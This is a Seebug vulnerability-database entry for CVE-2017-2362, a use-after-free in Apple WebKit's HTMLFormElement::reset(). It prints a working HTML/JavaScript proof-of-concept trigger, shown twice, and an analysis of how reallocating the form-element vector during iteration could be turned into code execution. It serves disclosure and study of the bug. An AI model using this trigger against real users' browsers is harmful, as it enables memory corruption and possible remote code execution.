Lucene search

K
seebugRootSSV:92866
HistoryMar 31, 2017 - 12:00 a.m.

Apple WebKit: HTMLFormElement::reset() use-after free(CVE-2017-2362)

2017-03-3100:00:00
Root
www.seebug.org
9

0.041 Low

EPSS

Percentile

91.2%

PoC:


<script>

function go() {

  output.value = "aaa";
  output.appendChild(inserted_div);

  document.getElementById("output").addEventListener('DOMSubtreeModified', function () {
    for(var i=0; i<20; i++) {
      form.appendChild(document.createElement("input"));
    }
  }, false);

  form.reset();

}

</script>
<body onload=go()>
<div>foo</div>
&lt;form id="form" onchange="eventhandler()"&gt;
&lt;input type="text" value="foo"&gt;
&lt;output id="output" oninput="eventhandler()"&gt;&lt;/output&gt;
&lt;input type="text" value="foo"&gt;

Analysis:

The bug is in HTMLFormElement::reset() function, specifically in this part:

for (auto& associatedElement : m_associatedElements) {
    if (is&lt;HTMLFormControlElement&gt;(*associatedElement))
        downcast&lt;HTMLFormControlElement&gt;(*associatedElement).reset();
}

The issue is that while m_associatedElements vector is being iterated, its content can change (HTMLFormControlElement being added or removed from it).

Normally HTMLFormControlElement.reset() doesn’t change the DOM, but there is one exception to this: The ‘output’ element. In WebKit, resetting the output element is equivalent to setting its textContent, which causes all of its child elements (if any) to be removed from the DOM tree.

Using this trick we can remove elements from m_associatedElements while it is being iterated. However, this by itself is not sufficient to exploit this issue as m_associatedElements.remove(index) (called from HTMLFormElement::removeFormElement()) won’t actually reallocate the vector’s buffer, it will only decrease vector’s m_size and the vector’s elements after m_size will still point to the (former) form members. (It might be possible to force the removed form members to be deleted but I haven’t experimented with this).

So instead of removing elements from the m_associatedElements vector, I instead add elements to it while it is being iterated. I did this by adding DOMSubtreeModified event listener to the output element, so that when the output element gets reset, the event triggers and in the event hanlder newly created input elements are added to the form. This causes the vector’s buffer to be reallocated to accommodate the new form elements. The loop inside HTMLFormElement::reset() continues to iterate over now deleted buffer, causing the use-after free condition.

If an attacker manages to reclaim the space of the freed buffer and fill it with attacker-controlled data (there is plenty of opportunity to do this inside the DOMSubtreeModified event handler. Also note that the size of the freed buffer can be chosen by the attacker), subsequent iterations over m_associatedElements will cause HTMLFormControlElement::reset() method to be called on the attacker-controlled pointer. Since HTMLFormControlElement::reset() is a virtual function, this can easily lead to code execution.


                                                <script>

function go() {

  output.value = "aaa";
  output.appendChild(inserted_div);

  document.getElementById("output").addEventListener('DOMSubtreeModified', function () {
    for(var i=0; i<20; i++) {
      form.appendChild(document.createElement("input"));
    }
  }, false);

  form.reset();

}

</script>
<body onload=go()>
<div id="inserted_div">foo</div>
<form id="form" onchange="eventhandler()">
<input type="text" value="foo">
<output id="output" oninput="eventhandler()"></output>
<input type="text" value="foo">